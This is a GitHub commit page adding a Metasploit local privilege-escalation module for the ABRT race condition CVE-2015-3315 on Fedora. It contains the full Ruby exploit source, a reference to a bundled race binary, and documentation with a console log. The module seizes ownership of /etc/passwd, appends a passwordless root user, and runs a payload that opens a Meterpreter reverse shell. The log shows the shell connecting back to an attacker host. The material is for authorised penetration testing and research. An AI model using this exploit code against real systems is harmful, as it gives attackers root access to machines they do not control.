Skip to content

Commit 285b329

Browse files
committed
Land rapid7#9422 abrt race condition priv esc on linux
2 parents add7ae8 + 6968172 commit 285b329

File tree

3 files changed

+313
-0
lines changed

3 files changed

+313
-0
lines changed

data/exploits/cve-2015-3315/raceabrt

62.7 KB
Binary file not shown.
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
## Description
2+
3+
This module attempts to gain root privileges on Fedora systems with a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured as the crash handler.
4+
5+
6+
## Vulnerable Application
7+
8+
A race condition in ABRT allows local users to change ownership of arbitrary files (CVE-2015-3315). This module uses a symlink attack on `/var/tmp/abrt/*/maps` to change the ownership of `/etc/passwd`, then adds a new user with UID=0 GID=0 to gain root privileges. Winning the race could take a few minutes.
9+
10+
This module has been tested successfully on ABRT packaged versions:
11+
12+
* 2.1.5-1.fc19 on Fedora Desktop 19 x86_64
13+
* 2.2.1-1.fc19 on Fedora Desktop 19 x86_64
14+
* 2.2.2-2.fc20 on Fedora Desktop 20 x86_64
15+
16+
Fedora 21 and Red Hat 7 systems are reportedly affected, but untested.
17+
18+
19+
## Verification Steps
20+
21+
1. Start `msfconsole`
22+
2. Get a session
23+
3. Do: `use exploit/linux/local/abrt_raceabrt_priv_esc`
24+
4. Do: `set SESSION [SESSION]`
25+
5. Do: `check`
26+
6. Do: `run`
27+
7. You should get a new *root* session
28+
29+
30+
## Options
31+
32+
**USERNAME**
33+
34+
Username for the new UID=0 user (default: random)
35+
36+
**SESSION**
37+
38+
Which session to use, which can be viewed with `sessions`
39+
40+
**WritableDir**
41+
42+
A writable directory file system path. (default: `/tmp`)
43+
44+
45+
## Scenarios
46+
47+
```
48+
msf > use exploit/linux/local/abrt_raceabrt_priv_esc
49+
msf exploit(linux/local/abrt_raceabrt_priv_esc) > set session 1
50+
session => 1
51+
msf exploit(linux/local/abrt_raceabrt_priv_esc) > run
52+
53+
[!] SESSION may not be compatible with this module.
54+
[*] Started reverse TCP handler on 172.16.191.244:4444
55+
[*] Writing '/tmp/.C17d3UYQy' (64240 bytes) ...
56+
[*] Trying to own '/etc/passwd' - This might take a few minutes (Timeout: 900s) ...
57+
[+] Success! '/etc/passwd' is writable
58+
[*] Adding pauITBusGM user to /etc/passwd ...
59+
[*] Writing '/tmp/.u8zOz4c' (207 bytes) ...
60+
[*] Sending stage (857352 bytes) to 172.16.191.137
61+
[*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.137:38938) at 2018-02-03 21:29:56 -0500
62+
63+
meterpreter > getuid
64+
Server username: uid=0, gid=0, euid=0, egid=0
65+
meterpreter > sysinfo
66+
Computer : localhost.localdomain
67+
OS : Fedora 20 (Linux 3.19.8-100.fc20.x86_64)
68+
Architecture : x64
69+
BuildTuple : i486-linux-musl
70+
Meterpreter : x86/linux
71+
meterpreter >
72+
```
73+
Lines changed: 240 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,240 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Exploit::EXE
11+
include Msf::Exploit::FileDropper
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'ABRT raceabrt Privilege Escalation',
16+
'Description' => %q{
17+
This module attempts to gain root privileges on Fedora systems with
18+
a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
19+
as the crash handler.
20+
21+
A race condition allows local users to change ownership of arbitrary
22+
files (CVE-2015-3315). This module uses a symlink attack on
23+
'/var/tmp/abrt/*/maps' to change the ownership of /etc/passwd,
24+
then adds a new user with UID=0 GID=0 to gain root privileges.
25+
Winning the race could take a few minutes.
26+
27+
This module has been tested successfully on ABRT packaged version
28+
2.1.5-1.fc19 on Fedora Desktop 19 x86_64, 2.2.1-1.fc19 on Fedora Desktop
29+
19 x86_64 and 2.2.2-2.fc20 on Fedora Desktop 20 x86_64.
30+
31+
Fedora 21 and Red Hat 7 systems are reportedly affected, but untested.
32+
},
33+
'License' => MSF_LICENSE,
34+
'Author' =>
35+
[
36+
'Tavis Ormandy', # Discovery and C exploit
37+
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
38+
],
39+
'DisclosureDate' => 'Apr 14 2015',
40+
'Platform' => [ 'linux' ],
41+
'Arch' => [ ARCH_X86, ARCH_X64 ],
42+
'SessionTypes' => [ 'shell', 'meterpreter' ],
43+
'Targets' => [[ 'Auto', {} ]],
44+
'References' =>
45+
[
46+
[ 'CVE', '2015-3315' ],
47+
[ 'EDB', '36747' ],
48+
[ 'BID', '75117' ],
49+
[ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ],
50+
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],
51+
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ],
52+
[ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ],
53+
[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ],
54+
[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ],
55+
[ 'URL', 'https://access.redhat.com/articles/1415483' ],
56+
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],
57+
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],
58+
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ]
59+
]
60+
))
61+
register_options(
62+
[
63+
OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]),
64+
OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ]),
65+
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
66+
])
67+
end
68+
69+
def base_dir
70+
datastore['WritableDir']
71+
end
72+
73+
def timeout
74+
datastore['TIMEOUT']
75+
end
76+
77+
def check
78+
if cmd_exec('lsattr /etc/passwd').include? 'i'
79+
vprint_error 'File /etc/passwd is immutable'
80+
return CheckCode::Safe
81+
end
82+
83+
kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'
84+
unless kernel_core_pattern.include? 'abrt-hook-ccpp'
85+
vprint_error 'System is NOT configured to use ABRT for crash reporting'
86+
return CheckCode::Safe
87+
end
88+
vprint_good 'System is configured to use ABRT for crash reporting'
89+
90+
if cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true'
91+
vprint_error "Directory '/var/spool/abrt' exists. System has been patched."
92+
return CheckCode::Safe
93+
end
94+
vprint_good 'System does not appear to have been patched'
95+
96+
unless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true'
97+
vprint_error "Directory '/var/tmp/abrt' does NOT exist"
98+
return CheckCode::Safe
99+
end
100+
vprint_good "Directory '/var/tmp/abrt' exists"
101+
102+
if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'
103+
vprint_error 'abrt-ccp service NOT running'
104+
return CheckCode::Safe
105+
end
106+
vprint_good 'abrt-ccpp service is running'
107+
108+
abrt_version = cmd_exec('yum list installed abrt | grep abrt').split(/\s+/)[1]
109+
unless abrt_version.blank?
110+
vprint_status "System is using ABRT package version #{abrt_version}"
111+
end
112+
113+
CheckCode::Detected
114+
end
115+
116+
def upload_and_chmodx(path, data)
117+
print_status "Writing '#{path}' (#{data.size} bytes) ..."
118+
rm_f path
119+
write_file path, data
120+
cmd_exec "chmod +x '#{path}'"
121+
register_file_for_cleanup path
122+
end
123+
124+
def exploit
125+
if check != CheckCode::Detected
126+
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
127+
end
128+
129+
@chown_file = '/etc/passwd'
130+
131+
if datastore['USERNAME'].blank?
132+
@username = rand_text_alpha rand(7..10)
133+
else
134+
@username = datastore['USERNAME']
135+
end
136+
137+
# Upload Tavis Ormandy's raceabrt exploit:
138+
# - https://www.exploit-db.com/exploits/36747/
139+
# Cross-compiled with:
140+
# - i486-linux-musl-cc -static raceabrt.c
141+
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt'
142+
fd = ::File.open path, 'rb'
143+
executable_data = fd.read fd.stat.size
144+
fd.close
145+
146+
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
147+
executable_path = "#{base_dir}/#{executable_name}"
148+
upload_and_chmodx executable_path, executable_data
149+
150+
# Change working directory to base_dir
151+
cmd_exec "cd '#{base_dir}'"
152+
153+
# Launch raceabrt executable
154+
print_status "Trying to own '#{@chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ..."
155+
output = cmd_exec "#{executable_path} #{@chown_file}", nil, timeout
156+
output.each_line { |line| vprint_status line.chomp }
157+
158+
# Check if we own /etc/passwd
159+
unless cmd_exec("[ -w #{@chown_file} ] && echo true").include? 'true'
160+
fail_with Failure::Unknown, "Failed to own '#{@chown_file}'"
161+
end
162+
163+
print_good "Success! '#{@chown_file}' is writable"
164+
165+
# Add new user with no password
166+
print_status "Adding #{@username} user to #{@chown_file} ..."
167+
cmd_exec "echo '#{@username}::0:0::/root:/bin/bash' >> #{@chown_file}"
168+
169+
# Upload payload executable
170+
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
171+
upload_and_chmodx payload_path, generate_payload_exe
172+
173+
# Execute payload executable
174+
vprint_status 'Executing payload...'
175+
cmd_exec "/bin/bash -c \"echo #{payload_path} | su - #{@username}&\""
176+
end
177+
178+
def on_new_session(session)
179+
if session.type.to_s.eql? 'meterpreter'
180+
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
181+
end
182+
183+
# Reinstate /etc/passwd root ownership and remove new user
184+
root_owns_passwd = false
185+
new_user_removed = false
186+
187+
if session.type.to_s.eql? 'meterpreter'
188+
# Reinstate /etc/passwd root ownership
189+
session.sys.process.execute '/bin/sh', "-c \"chown root:root #{@chown_file}\""
190+
191+
# Remove new user
192+
session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\""
193+
194+
# Wait for clean up
195+
Rex.sleep 5
196+
197+
# Check root ownership
198+
passwd_stat = session.fs.file.stat(@chown_file).stathash
199+
if passwd_stat['st_uid'] == 0 && passwd_stat['st_gid'] == 0
200+
root_owns_passwd = true
201+
end
202+
203+
# Check for new user in /etc/passwd
204+
passwd_contents = session.fs.file.open(@chown_file).read.to_s
205+
unless passwd_contents.include? "#{@username}:"
206+
new_user_removed = true
207+
end
208+
elsif session.type.to_s.eql? 'shell'
209+
# Reinstate /etc/passwd root ownership
210+
session.shell_command_token "chown root:root #{@chown_file}"
211+
212+
# Remove new user
213+
session.shell_command_token "sed -i 's/^#{@username}:.*$//g' #{@chown_file}"
214+
215+
# Check root ownership
216+
passwd_owner = session.shell_command_token "ls -l #{@chown_file}"
217+
if passwd_owner.to_s.include? 'root'
218+
root_owns_passwd = true
219+
end
220+
221+
# Check for new user in /etc/passwd
222+
passwd_user = session.shell_command_token "grep '#{@username}:' #{@chown_file}"
223+
unless passwd_user.to_s.include? "#{@username}:"
224+
new_user_removed = true
225+
end
226+
end
227+
228+
unless root_owns_passwd
229+
print_warning "Could not reinstate root ownership of #{@chown_file}"
230+
end
231+
232+
unless new_user_removed
233+
print_warning "Could not remove user '#{@username}' from #{@chown_file}"
234+
end
235+
rescue => e
236+
print_error "Error during cleanup: #{e.message}"
237+
ensure
238+
super
239+
end
240+
end

0 commit comments

Comments
 (0)